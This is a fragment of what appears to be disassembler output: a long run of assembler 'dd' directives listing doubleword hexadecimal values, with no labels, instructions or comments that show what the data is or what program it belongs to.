		dd 59CC00E3h, 33D66CDFh, 851E20C8h, 0A8375F4Ch,	0F2FBED70h
		dd 1DCA0F4Ah, 0B8B51229h, 0B7B10075h, 11745B04h, 3100843Fh
		dd 8A504DFAh, 59336Ch, 7E1AA248h, 0CC493B8h, 35665700h
		dd 0AEF55320h, 0FC315B5Ch, 0F15D008Bh, 428C80D9h, 8518C0A1h
		dd 4466392Ch, 36628300h, 0C91957DFh, 11630CE5h,	0E2D91EF2h
		dd 3FD8C403h, 0D8FEE11Fh, 3E639AFBh, 8928DA44h,	715800EEh
		dd 54C14C8h, 9BB880AAh,	0FA8EAC00h, 216CADDCh, 0FB463B1Eh
		dd 177DD280h, 0FE6F0DA7h, 24183400h, 0C38B3B09h, 0F1CC3E0Fh
		dd 0B3926980h, 526BE1B2h, 2625A507h, 55204A3Eh,	3BD3CD6h
		dd 64EC193Dh, 0B2B0C491h, 0AA000850h, 0B0C9B704h, 0FC42322Dh
		dd 0A20C00F9h, 4C1D09A3h, 0BB008C8Fh, 983571B2h, 0F422696h
		dd 0BE18B382h, 0D1544561h, 0FD9DD4A1h, 0E8B5C600h, 3A96C3CAh
		dd 0E570006Ah, 7753B081h, 0DF070A03h, 0A568CF71h, 0F5489BE0h
		dd 7ECD00D9h, 13A7981h,	960087F8h, 0DE8E7071h, 0DA52C6h
		dd 0A0D2399Dh, 0F2C07485h, 0D883F41Ch, 276031C0h, 6A192Eh
		dd 8A52AE4h, 338C7E17h,	5301727Ah, 0F1701F89h, 67C9F045h
		dd 16F3DFCh, 1BFBAE0Ch,	0CDA7B0A4h, 0BC4F8D9h, 3FF58905h
		dd 9001256Dh, 4FE67B9Dh, 108EDCF5h, 0B323CE15h,	33C0E2D0h
		dd 4D076B95h, 0A89DB526h, 0BA4C780h, 7BD40F36h,	8D40E519h
		dd 0D2322B8h, 0E4B320h,	2886512h, 0BA1D6A6Eh, 0D6F4D9E4h
		dd 137E620Fh, 4796814Bh, 58BA654Dh, 776CCE00h, 0EB1B5DE6h
		dd 0E2391D00h, 735C0FA4h, 27C40081h, 31633266h,	0AD00C80Bh
		dd 520AD1C7h, 6BD67Fh, 57650345h, 0BF901CEAh, 719BDC12h
		dd 0CEC6640Eh, 4BCDC0EDh, 3D07C7h, 0BC1D0638h, 98AF5F53h
		dd 0A0468F00h, 6028C141h, 9214005Dh, 8E10CFDBh,	4700D05Bh
		dd 940A704h, 7E3B522Fh,	0C1C50054h, 0BD492D8h, 0FA0047F4h
		dd 25B0AFEAh, 7C6798E2h, 16E400D7h, 5ABDF769h, 3EFC4431h
		dd 80A7A93Ah, 99328A05h, 578022h, 0CA5115C2h, 964697Fh
		dd 8C78CB00h, 0A4C5D388h, 0C97EADh, 0D85FA60h, 502627B6h
		dd 0BEDB3Dh, 4F2F7CC0h,	0E3E77Dh, 7A78536h, 676445C6h
		dd 3E6A1A01h, 0BEFCA03Dh, 2684E0D7h, 0E0820077h, 0E7C76372h
		dd 0FB00B14Fh, 0C0C4ACC8h, 0F5C528h, 6935ADDh, 7359FE8h
		dd 208518CEh, 0A2C79CA8h, 0E3C9014h, 0FE3C4CF1h, 358F2E78h
		dd 62B27500h, 0ECE92A13h, 174E734Ah, 2730476h, 0AEEBB367h
		dd 0BCC096E0h, 0B500D87Ch, 6774FF2Ah, 7FD73Ch, 59763B9Fh
		dd 8C4B5A34h, 0AB0A41F6h, 887EF009h, 40770680h,	256E67Fh
		dd 8DAEB9D8h, 3840D02Fh, 0BD009A8Bh, 70B46410h,	0A13ECDFBh
		dd 0E3F07BA4h, 0AB5400DEh, 6F2B23C9h, 0EC01A211h, 5D4DE494h
		dd 6DD4E1B0h, 4EE2003Bh, 3465CDC1h, 1000B429h, 0EC24F825h
		dd 72FFC55h, 0DDCECAF1h, 879AB191h, 7F9DECF6h, 48C70207h
		dd 0F2104234h, 0A00C1647h, 0E65AAF4h, 98598AE3h, 0CA3587C0h
		dd 80004F94h, 1B330E7Ch, 1E6E8B9h, 0F3B8230Ch, 0D0AC6FFBh
		dd 65007257h, 588367F2h, 19C5B29h, 0C8E3D715h, 0F028B3DBh
		dd 0EF743736h, 0F8645100h, 0DD855690h, 3F630693h, 0D82C1A8Dh
		dd 7FB4C000h, 1CCF3B16h, 0FA5500ABh, 0DA47B52Ah, 4600AE84h
		dd 0BB02BD9Dh, 0F424D0B7h, 7FB100ABh, 97918B41h, 0EE030A65h
		dd 6BB7764Ch, 6E4000A3h, 41D9DF98h, 540004AFh, 0D75767A5h
		dd 3D50FD52h, 0B0005E23h, 4518EC06h, 4A18FF22h,	809028E1h
		dd 243E007Fh, 6F1D5B97h, 0D400F351h, 2B43AF4Ch,	2CFCEBh
		dd 0BE0D314Eh, 0A24B8F5Dh, 389AF100h, 0E3C4D13Bh, 0E73C00F5h
		dd 545DB488h, 80502E08h, 0ECB03718h, 572F0203h,	0B8B3A0CDh
		dd 3E0BEEABh, 3D0017E0h, 9271E5Ah, 0DA033623h, 385C1BA3h
		dd 3AFBE8E9h, 0A89C00F7h, 0ECD14430h, 4E02927h,	1C704500h
		dd 573E8AB9h, 714800FEh, 0E1BDC59Ch, 6A07944Ah,	0CA4083F1h
		dd 0E4B3030h, 1E8A0C7Eh, 0D611D920h, 7280EF4Eh,	0E46D14h
		dd 1579B69Bh, 0AF18A1A0h, 9900FA72h, 5A352A53h,	1038671h
		dd 4BF8EC54h, 0E4F1B005h, 777B47A7h, 6962FA00h,	0F2CC2917h
		dd 30A8A8C1h, 103200D7h, 509827A3h, 0DF032965h,	0D54B77B3h
		dd 0E8138860h, 88A300D7h, 2D5ECE83h, 2F00648Dh,	7EE40EE6h
		dd 1D24C4h, 7C55A660h, 0D0E99E2Bh, 0F0E8BA00h, 0B6B206E4h
		dd 0A36400F5h, 0A2F80235h, 0BB00FE0Dh, 662EE0D9h, 0E7C440h
		dd 0EE24301Fh, 94AD8EBEh
		dd 6EA9CA0Ch, 7373141h,	0AEDA3B48h, 61B76165h, 0F1D1D4BAh
		dd 0BEC41100h, 0E8DCD216h, 0B61200D3h, 54A4D03h, 0B218D504h
		dd 0E0BE3A1Eh, 99D00F3h, 0BF71AAB3h, 3006BB9h, 14CE7824h
		dd 7948C37h, 2D3565EFh,	11499004h, 42008830h, 0F9C68706h
		dd 0B86FB10Bh, 4AD1002Fh, 0C5863ECBh, 140036DAh, 622C6439h
		dd 3F69B30h, 0F33A2ECh,	8DD0DDE7h, 0C77B0408h, 3B885200h
		dd 0DFD621FFh, 0E9A500E0h, 8ED5077Bh, 0A30FDE3Eh, 0A0DDAA99h
		dd 74B6569Eh, 46470FFFh, 0B340AEB2h, 942D7DF1h,	40E0E16Eh
		dd 445F4374h, 0F8D70002h, 0FA14D008h, 8B04BCB8h, 53E0274Ch
		dd 0EB547AC0h, 5A7F00ACh, 0BA592446h, 814CEC76h, 2B880E34h
		dd 0B88B40D2h, 9E84D9Eh, 0E0521D93h, 7032103h, 25564A88h
		dd 46345E01h, 494E1784h, 3AFDB4FCh, 878024AEh, 6C478308h
		dd 0E4136139h, 0A600F82Bh, 3E691EB8h, 76560080h, 1664D473h
		dd 26013802h, 0FF2974FEh, 183069BFh, 1F131C0Bh,	74516D3h
		dd 701A72B0h, 0F473DF7Ch, 1DC45B02h, 7D313707h,	5461FA40h
		dd 55E288E2h, 175DF400h, 0F8F1F73Bh, 0F4ECF289h, 0F6591377h
		dd 4A200268h, 44B43DBAh, 0D088A454h, 350E40FEh,	0E0605DBFh
		dd 94A80D86h, 0C0010012h, 0C89486Fh, 0BE00A528h, 41F0633Ah
		dd 60ABA81Eh, 6BC068AFh, 0D51EF3F1h, 6FDD771Ah,	0D97CD080h
		dd 90630413h, 406E0084h, 0E5EA0DB8h, 660090FDh,	84DDF90Fh
		dd 0F4C13A42h, 0C7960199h, 0F3EB9CE6h, 747030E8h, 43000499h
		dd 1E40B02Eh, 899E027Dh, 62803AA1h, 5E93CCA0h, 0D09915Bh
		dd 998184E4h, 79801A34h, 0B9E369FDh, 7D0604A2h,	44DE35B4h
		dd 1A2D0BC8h, 930099D4h, 7292C90Dh, 65025374h, 56AD1FC2h
		dd 0E5A88004h, 7BBB4C6h, 0C98170CFh, 0A34EE386h, 0D53854B0h
		dd 0B163BE00h, 0AB95365Ah, 0AE8E03E8h, 0FF7A9BACh, 417C6097h
		dd 2F093F07h, 0F0C7F3h,	8F364A3Ch, 0EEBA1830h, 0C37F2098h
		dd 5DECD809h, 0DF642027h, 5712850h, 65B505E8h, 0A4860E14h
		dd 7DE606E0h, 0CC025083h, 28444DB3h, 6B4460C4h,	0E06A0035h
		dd 7A3486A6h, 8E1D3207h, 0CD015FB9h, 3F5E2B1Fh,	48928AC0h
		dd 0C312F0B7h, 0BBC500F8h, 0A54CDF59h, 9FFE6501h, 40753B12h
		dd 1366EE0h, 279716E3h,	970DBF42h, 2B002B58h, 1A474FEFh
		dd 0A83000A2h, 605AB0B1h, 1CB0FA96h, 23FF8702h,	0E0C21879h
		dd 248A6A8Ah, 7A104BEh,	0D0F84CFAh, 0E4285E7Bh,	32FD2F01h
		dd 55519F93h, 0E7DEC8h,	0A42470A0h, 44F00A5Ah, 0D6259700h
		dd 0B25EE363h, 8ED71F59h, 3EA6CBh, 56FB8DE8h, 5700C21Fh
		dd 7A218176h, 1C917479h, 5F385D69h, 0E0F3008Ch,	5CFF64CAh
		dd 9BA00F00h, 129E9CFCh, 9478094Eh, 500EED1h, 6E551DD4h
		dd 0E80F5879h, 9B2E80h,	4977433Ah, 38EE004Eh, 0C094B6AFh
		dd 80007487h, 0D66CC969h, 19E0C26h, 0B618B0D2h,	0C5EC376Eh
		dd 86E447DFh, 560019EAh, 9098036Fh, 4D86A4h, 3D51C98Dh
		dd 7ECABAB8h, 0FC00C690h, 0F6F0BD24h, 1293CBC6h, 4081AEE9h
		dd 6366A18h, 0AB0151FBh, 5EF86C25h, 342021CBh, 0CA480F9Eh
		dd 35C77F67h, 0A1DF3275h, 85600CE2h, 43005217h,	87496A1Eh
		dd 0C8F807h, 4585684Eh,	998DAF88h, 6A3E3F00h, 0D3E15130h
		dd 7B4D00FBh, 96B21C2Bh, 0EC026624h, 3B999E76h,	0ADA7E031h
		dd 390F00F2h, 114DBED4h, 0FB98239Ch, 82734FFCh,	0E452502Eh
		dd 72C02A1Ch, 9A57ACDCh, 2E9C9030h, 0CC1ED6h, 76138D91h
		dd 0BC3D23D2h, 60E8EF3Bh, 9C5D3FE2h, 432C0016h,	5FA478C9h
		dd 0F7791B70h, 0BD887E01h, 1529325Dh, 0F502E8D4h, 43F860h
		dd 30C23C83h, 0C394EB8h, 0A2A0F21Ch, 0EB1B37C3h, 0C53D8026h
		dd 93D53DF8h, 31691A00h, 0B454DD41h, 0E996330h,	9C04C9h
		dd 0FFEF8987h, 50D45F76h, 4D11A513h, 0A7E91041h, 0FE217C27h
		dd 0C1104023h, 80E03841h, 108AFC5h, 4F9FD35h, 0DD71557Bh
		dd 0C2F497B2h, 0AB60D939h, 709764CFh, 503A7BC2h, 818097h
		dd 864B279Ah, 2C68A910h, 0A0D28816h, 7A188C58h,	0CB7E0CE3h
		dd 5D50E4D1h, 8C639909h, 59F00149h, 48FC4F41h, 96942F74h
		dd 0B00B354h, 98DC7BAFh, 1A2E00E8h, 6D77AA27h, 0E02E903Bh
		dd 0E4058C79h, 208048B0h, 24AA5622h, 3DA42A7Fh,	3202DE3Bh
		dd 0FC8EABA7h, 5EA26860h, 7778707h, 96804086h, 0B1A4CCB9h
		dd 40CFC744h, 0A06E256Fh, 0BEB9F48h, 0B5CA07h, 71F53AE1h
		dd 0A0C903Bh, 781C8E58h, 0C8BB8784h, 0A75E105Bh, 1A1A23E4h
		dd 0C0503C45h, 0E8A381F8h, 3B2F3066h, 6DD42910h, 0E055CD00h
		dd 0FDF6D250h, 3D795Ch,	208C19A9h, 0B38D920Eh, 0D2AFBF0h
		dd 0E700A87Bh, 0D3B66336h, 0DF108Fh, 0D44F6EE3h, 0A0C744FBh
		dd 16E04A58h, 0DA06F074h, 104B52h, 8D0D55BCh, 0FBAB378Eh
		dd 501C3A2Ch, 34B8D581h, 0B9FC1D5Bh, 8A720046h,	8C673350h
		dd 54004F91h, 30D9693Ah, 3A6621DDh, 18008F96h, 446F7CCCh
		dd 4B095B25h, 80EA033Fh, 0E27A96F0h, 0A3EC0046h, 0CF0769AAh
		dd 0EB00A432h, 9D753623h, 0D2875Fh, 712178BAh, 2291545Eh
		dd 6A764A00h, 243B6E93h, 5AB3254Ch, 0B8064AFh, 61AA9FB7h
		dd 0B405E7F8h, 327C2AEDh, 9E81CA01h, 9DDCCE33h,	4420060Dh
		dd 0E1887F5Ah, 0EE008CE8h, 93024D9Bh, 0E40380Ch, 0F51FC04Ch
		dd 7AFE4E0h, 32004410h,	0D94F04CBh, 38C98828h, 0AD00B391h
		dd 0C7CC0C84h, 90903EBFh, 6EB55012h, 9EC55C07h,	87CD7AA0h
		dd 541A004Ch, 730CB6CFh, 9B00F772h, 0B93423F9h,	778E9CBh
		dd 0D1498838h, 0D07790BAh, 3002C13Eh, 0ECFDF5BDh, 0AB4CE06Ch
		dd 0CE809C6h, 0D410B612h, 7E009711h, 63731A59h,	28624BFCh
		dd 9CC89Bh, 0EC476BB7h,	4F157BCBh, 83FFEB00h, 0A68AD7B1h
		dd 436501A4h, 46A57F9h,	25FC402Ch, 48804FF3h, 27340BBBh
		dd 0A09375h, 0A6873010h, 0E204AF75h, 0D4FB1925h, 72B07480h
		dd 7B1700D6h, 551EA3C9h, 0D0023206h, 0BE592464h, 60976066h
		dd 6B7000ECh, 0FA6F7D46h, 61000349h, 0E83EAF26h, 120C9C55h
		dd 5FCF4FEh, 8C365780h,	3BFAFBFCh, 0BDAB6B00h, 77BA15Eh
		dd 715D0098h, 0E9D88956h, 0CF62C25h, 0EE43E80Eh, 94CC4077h
		dd 0E21D495Fh, 0FE0902AFh, 0E906B315h, 41A0B858h, 1DFCA70Ah
		dd 5908FD00h, 8ECFBF79h, 81D5003Fh, 7C748044h, 0CC006646h
		dd 8DE75806h, 60A01Fh, 2B7DE463h, 7783613Fh, 41DE7E00h
		dd 5457F50Ch, 3A8200BCh, 0C5D066B8h, 694C4F5Ah,	2EA40410h
		dd 3A80AFC2h, 34B9E4h, 332A73CBh, 0EFF3BAA2h, 89091600h
		dd 4C623E28h, 12F803CCh, 0D8D0064Ah, 108ECDE8h,	0C5E20F00h
		dd 0F1ECAEA8h, 64DE2CF8h, 8C4E0028h, 0C10CBFDAh, 7B9ED801h
		dd 63A0D88h, 3205C60h, 648692B8h, 0A0C80447h, 0FB1FB427h
		dd 34C1452Dh, 84F303A2h, 7593DC4h, 2C238C4Fh, 563BC08Bh
		dd 55054BE0h, 3445EDEBh, 0EA309A87h, 1E7DC03Ah,	0C0DB83E5h
		dd 0A35EDFF3h, 0F90737DDh, 0A9D52067h, 0E07F80C7h, 5B944F22h
		dd 0B48600CFh, 70F8EAE5h, 1F003937h, 0B86E8808h, 3117EB1h
		dd 208EA46Fh, 0ED894BFh, 0B000D314h, 0A8C6A2Ch,	783A285h
		dd 0BD2FA8B2h, 7CA089AFh, 0E8A86B0h, 94CA7A1Ch,	0A2007A39h
		dd 4241E575h, 0FC8496h,	0DAE9C15Eh, 0E7904498h,	0B600B972h
		dd 4306310h, 7A779CCh, 0C7D27F76h, 8DDF40FAh, 61C14DB6h
		dd 553143C4h, 409C840h,	0C31E07AAh, 0C98ACE81h,	0B8AC5C60h
		dd 2E3018A0h, 0CB0C5100h
		dd 0FE08505Fh, 3C2C7C2Ah, 91179636h, 0F1813DCh,	5860DFC3h
		dd 0A3AB06E2h, 0BD414A67h, 40042992h, 213192h, 4C25E7D2h
		dd 5BF6E4ADh, 1620817h,	0E061D00h, 67E78A23h, 0C4918802h
		dd 71C78004h, 0A47FD664h, 0A1E5A900h, 9C6ED8BAh, 0BC85004Bh
		dd 0F89135DEh, 8AFC0639h, 59E58E00h, 245CB7BAh,	101F006Dh
		dd 457206Eh, 6B0F5EDDh,	6F92CBD5h, 0A438079h, 3B4FD9Ah
		dd 0E8E3C138h, 0C4D04BD3h, 0EF046DBEh, 0A092DFA9h, 0E1E07B87h
		dd 0C592Ah, 146FC74Fh, 0ED5D4D12h, 0E22A55F8h, 5E11A051h
		dd 0CC00B1E4h, 0FEBE0B74h, 4F0025E6h, 0D5DC3153h, 185C4A6Ch
		dd 28494488h, 7E00F341h, 0B81FCB0Bh, 0CCA7CE63h, 0E49E008h
		dd 1E71B700h, 88C71CBFh, 777419F0h, 0F2D2586Fh,	0A55E04C0h
		dd 9826D901h, 61BE26Ah,	41059183h, 13A8D8DFh, 0A8188D4Dh
		dd 3620BE22h, 849A2E4Eh, 7B504064h, 5B3FD489h, 23188C72h
		dd 0C049080Ah, 89536321h, 480ED8F1h, 0FE735FA3h, 0A8225D88h
		dd 0B2150C01h, 2111BEBAh, 800055EEh, 0F04971A2h, 4FFD648h
		dd 0F20B535Ch, 0CC1C80BEh, 1C0BAE67h, 0F83ABD06h, 5ECF964h
		dd 49E961A0h, 0CD0C6AE1h, 7BE86866h, 8F12733h, 0A211C3Bh
		dd 0F2FDC074h, 81B3494h, 5B47B700h, 0E8B020E3h,	0A0777404h
		dd 0F0C398h, 909BD7D6h,	55D28B84h, 0C05B2B00h, 8C5D9499h
		dd 53F600C9h, 424A33E1h, 1D020820h, 55A3B526h, 0A8E060F2h
		dd 0FD150314h, 9B4B6599h, 21F61B8h, 0D9008C7Bh,	0A3BC5D62h
		dd 0B0F27ED0h, 313A0EE5h, 1A601B2Eh, 4280B048h,	2DC2A00h
		dd 18430654h, 4A470040h, 0E32EF52Ch, 0D10039E1h, 28D0DACAh
		dd 43C678h, 0EB2B203Dh,	0AD8E2213h, 0FB1E9F0Dh,	41A1181h
		dd 6E4A2BC3h, 0AFF61000h, 4B5D19FEh, 6B42032Dh,	1BA92AD4h
		dd 0A2BA35A0h, 0E1996700h, 0C0AE5A75h, 50CD7AB7h, 1DB98F8Ah
		dd 0C72E0FF5h, 30236DD9h, 41712C03h, 0E8152500h, 0CCE15CE6h
		dd 75BE00FBh, 0E319F6E9h, 4307F42Dh, 5D271205h,	0D0424693h
		dd 1388085h, 0ABCE018Eh, 0E83DEE74h, 20C0A1EAh,	0DC5A0FB1h
		dd 9C75007Fh, 0C620694Ah, 0ED0074ACh, 2442BC38h, 0FE28B9h
		dd 2BD3BB72h, 9C8A435Ah, 0F720DA00h, 9F985F4Ch,	90F30316h
		dd 0E452E64h, 9BA21798h, 8BFCB00h, 2AAF540Ah, 892C0075h
		dd 0D0092B57h, 7B00839Eh, 0A3A5ADF4h, 1FE3B911h, 0C0ED6053h
		dd 0BD7FD8Fh, 0FF14C668h, 7BB021A0h, 0CCAEF400h, 0D267D4C3h
		dd 624C0035h, 0F5F9BE6Ah, 1F00900Bh, 39C40CF3h,	1C38A417h
		dd 80087EA9h, 86CA37DAh, 0C7012B4Ch, 0DE507121h, 0B940F990h
		dd 549834Dh, 0BCFD5D34h, 30E8417Dh, 70047879h, 0F7B00AE3h
		dd 0B21A3E00h, 1C180748h, 0B1F20042h, 75F91476h, 0B70CCFD6h
		dd 0F04959CAh, 0C13B0040h, 0E66450E8h, 0A900F5CCh, 7AE36C09h
		dd 4A29BBh, 687597A1h, 0BFE97858h, 0C57CAE00h, 8F875D2Bh
		dd 532800CFh, 840D44Bh,	0D801D558h, 0BA2F540Bh,	5AD0DDA4h
		dd 0FB4F00E0h, 21D2271Dh, 882878CFh, 541C9C28h,	95DDCBDFh
		dd 961BB2C0h, 7146D611h, 0A60C00CAh, 7E219E22h,	0A507FCE0h
		dd 931E566Ah, 0F81FDFD0h, 20900EB1h, 32C051AEh,	0FF9575D8h
		dd 0E8687B00h, 0EDA3676Ah, 390F626h, 0BA16FE2Ah, 8EF8B9CCh
		dd 9507102h, 6077E880h,	919DDE26h, 5CD77C03h, 0AD99C0C4h
		dd 3F6F00DAh, 74905DCh,	0E948D98Bh, 62CE05EAh, 0C000186Bh
		dd 0A326DD24h, 29A718BCh, 0ED11EEDFh, 0E8782C01h, 0E49E1B5Dh
		dd 24870EEDh, 0E0AE3D0Ch, 85B113FFh, 0B344E01Eh, 0D478F200h
		dd 0EF89730h, 2047908Eh, 1C799E00h, 9FF8333Ah, 54115A1Eh
		dd 7A80EB1Dh, 0EAA213C4h, 5DD1DFDh, 0AD91C0C5h,	9B3E45FAh
		dd 78FB1200h, 4367926Dh, 41840003h, 0A585D465h,	9E070E1Dh
		dd 0FD0570FCh, 401272B2h, 7B323524h, 3B54A0B5h,	1D7641h
		dd 1584EAA1h, 598BAAE6h, 0A072F700h, 557D1AECh,	0FFE8000Eh
		dd 54CA67B3h, 0AB005D24h, 8204CD8Fh, 120A32h, 42FC2018h
		dd 0A1E74809h, 34ED1024h, 2534003Fh, 0A572133Ch, 0F25100DCh
		dd 0C8DD1A67h, 1F006AADh, 0CFE94DEFh, 1AB2019h,	0C23A2D68h
		dd 87713C78h, 962BF518h, 0E04F3DA7h, 0C69962EDh, 9FC4001Ch
		dd 8106CF9Ah, 6E1C7587h, 5913B93Ch, 0F4918040h,	1E5407ABh
		dd 0FC6BECh, 8D04BBD2h,	0D90C7C99h, 0ACAAE775h,	0CFE80FF9h
		dd 0F28FBC12h, 84F10340h, 1D009A88h, 2ED898B2h,	98541EE0h
		dd 0CD140099h, 85F06766h, 6A7D43D4h, 4800D679h,	0A4D625Dh
		dd 0BCF5CDh, 12AE33F6h,	0B7EB4C1Fh, 0E9FC2101h,	0E8099E8Fh
		dd 4F36108Eh, 0DDF80520h, 8A0F4416h, 206365CEh,	0B6FA491h
		dd 23EF0004h, 0AA12BF5Ch, 0FC01E545h, 6B09638h,	15CCA04Fh
		dd 101C0072h, 0A654CDEh, 783E8EC0h, 0DAD40E2Fh,	865E7E73h
		dd 3E21B640h, 0F1E6BBh,	35467D51h, 23FB1BEBh, 57180F1Eh
		dd 76E42C5Dh, 0AD23C00h, 601BBh, 72B3E5EAh, 9E43357Dh
		dd 0E35CE801h, 581A573Eh, 3A15D4h, 0D72AE27Fh, 138020F3h
		dd 0CE0FC907h, 7B803744h, 1AD255h, 12661CF0h, 0C97C2F7Dh
		dd 0F4CC90C1h, 4730838Bh, 901B0081h, 7542F972h,	5B011C1Dh
		dd 6B2137F6h, 1AF48939h, 88E51D6Dh, 0C3D9CC31h,	5A07B7F8h
		dd 904CFB99h, 8EE8F30h,	3E60BB8h, 0BB80980Fh, 0C59B5AF7h
		dd 12DD1800h, 0B5516DCh, 24E34CB6h, 1542037Ch, 0B3CACC6Dh
		dd 8D0D7198h, 3EFD1413h, 9336BC40h, 5D8350h, 1F593AF4h
		dd 0E3530772h, 0E4485260h, 0CE4855h, 0EC5F91E1h, 0D624138Ah
		dd 0E2D54F00h, 47EB0D92h, 0C21F1C15h, 35CF467Dh, 3D0020B0h
		dd 0DA8741D4h, 262872BDh, 1DCA156h, 0F4E471ACh,	6346480h
		dd 68E7A200h, 29EC536Fh, 4A540083h, 0FB3D4BB2h,	9390E140h
		dd 3146AE00h, 0A532ECFEh, 905200BEh, 1220E38h, 49014ADDh
		dd 45A2AD75h, 85DDFF12h, 0D34003EBh, 7F1F2639h,	71FE29C0h
		dd 0A70001E4h, 54FC9AC7h, 39B0A5h, 89C3623Ch, 0BE751FDBh
		dd 320D5500h, 7691873Dh, 0DD130019h, 95815188h,	9F137544h
		dd 5C60B5C4h, 8DDB4Bh, 0AD929EFEh, 0AAC6A66Dh, 5E1C5300h
		dd 8A6557E9h, 969D00FDh, 0C1DF3776h, 6E00D622h,	6D32582Bh
		dd 157C065h, 0D740EE5h,	40ABA5F4h, 53934294h, 758B3500h
		dd 0B4A686B3h, 63963314h, 73E8E294h, 8F000F07h,	3D650931h
		dd 0F04B237h, 96E44C81h, 8C8D3320h, 0AD01FA0Ah,	0C24D8356h
		dd 8B3055D9h, 6E0C011Ch, 3D8AB93Ah, 92743094h, 36AB9603h
		dd 0A878E64Ah, 4CA702ECh, 0CB014D8Eh, 9D14D374h, 1096F8ACh
		dd 6E7AA800h, 0CE324B82h, 0E64F00BBh, 2F68336Ah, 8B3D6176h
		dd 0B02700D1h, 889D7708h, 6FB300CFh, 0C63AD83Bh, 2E1381CEh
		dd 0E05CBDF1h, 8029A00Eh, 0EF839F6Eh, 59F7008Fh, 0A9792B63h
		dd 69007BA1h, 2FB1FA67h, 0CB57F0h, 0D98246B5h, 7410FB39h
		dd 0AAB71300h, 0C00D9F99h, 970F00CEh, 1D176072h, 0E3015B81h
		dd 0D91F0B12h, 24288A63h, 6E68A100h, 37D5E5A3h,	3AF2AD3Ah
		dd 0FD10041Dh, 38A13E04h, 0E98C38F8h, 0DE87A9BDh, 416E09E2h
		dd 80F3D296h, 0C3C60618h, 1645E0h, 747FB999h, 80AB27D5h
		dd 0FD317000h, 0A4D2E3A5h, 38AE00F1h, 48326AB9h, 561E589Bh
		dd 3DD4FEEAh, 19122138h, 0F8156806h, 0A0C0CFEBh, 812EADC3h
		dd 0E022406Fh, 638A6138h, 107E228h, 4029B408h, 8A8DC4D5h
		dd 3098FE49h, 0D201A312h, 35D0D37h, 0F0F12BC0h,	0EA5F0044h
		dd 6723AC22h, 6A0F75F7h
		dd 409DF3ABh, 1B4C121h,	44A00E1Ch, 14A013F6h, 3DE8F486h
		dd 0F818B300h, 5845A4F1h, 30AE1F96h, 821500ADh,	2990F4CFh
		dd 0ED60010Eh, 0C8AC60B8h, 1DB72833h, 40573780h, 0E1C2C81h
		dd 0DE76C6EBh, 0F55C7298h, 0C1BD50D8h, 0FB66C200h, 3C1CFA47h
		dd 492BF2B1h, 0DE031C03h, 19A5CF94h, 3608E900h,	0AAB4EF81h
		dd 56F03B34h, 0C98040BCh, 0F4A78466h, 881D2220h, 2C80897Dh
		dd 10CD503Ah, 20EEC18h,	82CF4FF7h, 405B3BE6h, 37D844C1h
		dd 267F29F0h, 34602Ah, 13B67392h, 9CE84DBAh, 45C228C0h
		dd 22A0252Ch, 26225F3Ch, 43712270h, 0B1082E42h,	7A1461E5h
		dd 996A1128h, 0DD44447Ah, 84AE3844h, 2281D422h,	55EE6C06h
		dd 88A27D40h, 10142CBh,	0E707237Eh, 0BAD930A6h,	7F1EE8h
		dd 3299413Fh, 542E8CBBh, 82DAB600h, 188F2234h, 151C0FCEh
		dd 4A6056EAh, 0E8FB0F84h, 0B4EE81F8h, 0F503DC04h, 0ECC8A189h
		dd 211500B1h, 6519A4FDh, 24707CD3h, 9D3C221Eh, 0DE5A69C0h
		dd 0F2CC13h, 74FE4A39h,	0D94E5FBDh, 0BFF5F400h,	0E7D6157Ah
		dd 0B77E87h, 211748FBh,	809F28D1h, 9924D700h, 0E63F93CCh
		dd 0D8B038h, 712D4770h,	4801B8EAh, 5DB4AB00h, 0E9F4D55Fh
		dd 3212004Fh, 5C8C71A3h, 0CB98D3BDh, 6AC1491Dh,	0B0EE9380h
		dd 0F72CB2h, 11F25AF6h,	5716DF7Fh, 0E12FC800h, 0C79A75B4h
		dd 0A7DD003Ah, 87556810h, 2A006F8Ah, 0ABB64FB9h, 3E90E906h
		dd 6900D05Dh, 0FF7B1F65h, 4BEC59C2h, 54F47C71h,	6B528700h
		dd 0CF219CD1h, 1790FC56h, 4D4226h, 582A0888h, 4B01D67Ah
		dd 52D28544h, 0E2FD3E62h, 7B1800E3h, 0E12686EBh, 0AA171CCCh
		dd 6B0FD923h, 8E3680D0h, 0DAE2CAh, 0A9F1D284h, 0B6D98B1Eh
		dd 9CEFC800h, 53633610h, 0B55A0015h, 7294518Eh,	0FC98E5B9h
		dd 9B0CB400h, 0D084F7DAh, 43B100E0h, 9193D13Ah,	2A0745E5h
		dd 0AB0ED3B2h, 5D6D1030h, 0A5F3076Bh, 0C5057FC6h, 0A0D887C1h
		dd 0AFF26133h, 1C001E72h, 97F457D6h, 0E2F5AE29h, 0E610C050h
		dd 0E37F158Ah, 2BDAD117h, 3946D903h, 6AC6B043h,	23BB28F8h
		dd 7C77B99h, 0ACD4C4A5h, 0D35351DDh, 0D024DD1Fh, 0E600DE4Dh
		dd 0F7CAC377h, 72626D7Fh, 0A0C0002h, 0BB6A72D1h, 9900D05Bh
		dd 0FC559A91h, 0F4F87668h, 2D460011h, 953422DDh, 0BD30F4EBh
		dd 98BE987Eh, 3010B8E7h, 90285C2Ah, 92F405A4h, 0DF308E00h
		dd 334056AFh, 0C57E0047h, 350A9E6Dh, 0E1EBFD4h,	0D8855C0Bh
		dd 0E980808Eh, 0AEA240h, 45B0ECB5h, 0A40B1A95h,	3BACC700h
		dd 0CC3EB617h, 0C0EA1C7Eh, 8F9FD1h, 78025888h, 0DEFA2CF8h
		dd 97E6920Eh, 31E20054h, 894CB9h, 1E1938E4h, 7E7F686Dh
		dd 3C2E5776h, 7600A10Dh, 45E2D12Bh, 9BE0F2h, 0B89E027h
		dd 0A2DF4075h, 0EE561E02h, 60E7605Dh, 0CD7FE05h, 0BC52CEBEh
		dd 0EB018DC4h, 0A776240h, 57F47F0Ch, 83E9007Ah,	70BD7E8h
		dd 96768ADCh, 8FEEF400h, 0A770E53Ch, 83330101h,	0DC3FAB21h
		dd 0B485C837h, 0C7CAA602h, 60EF9894h, 3C6A438Fh, 0F10001E4h
		dd 6BA20FF6h, 99A09CDFh, 4B283819h, 6600D437h, 97929BAh
		dd 18CF813h, 74140BDBh,	7FFFCACBh, 7661D9A0h, 92D1E194h
		dd 19A5020h, 700DCEC2h,	2019E2BAh, 0B224E096h, 0D38028C5h
		dd 77E5AFCCh, 950300A1h, 63A35534h, 4500AE7Ah, 0DEBA7964h
		dd 6F4568Ah, 762D7005h,	55001175h, 0C8EDA778h, 5CD7BD51h
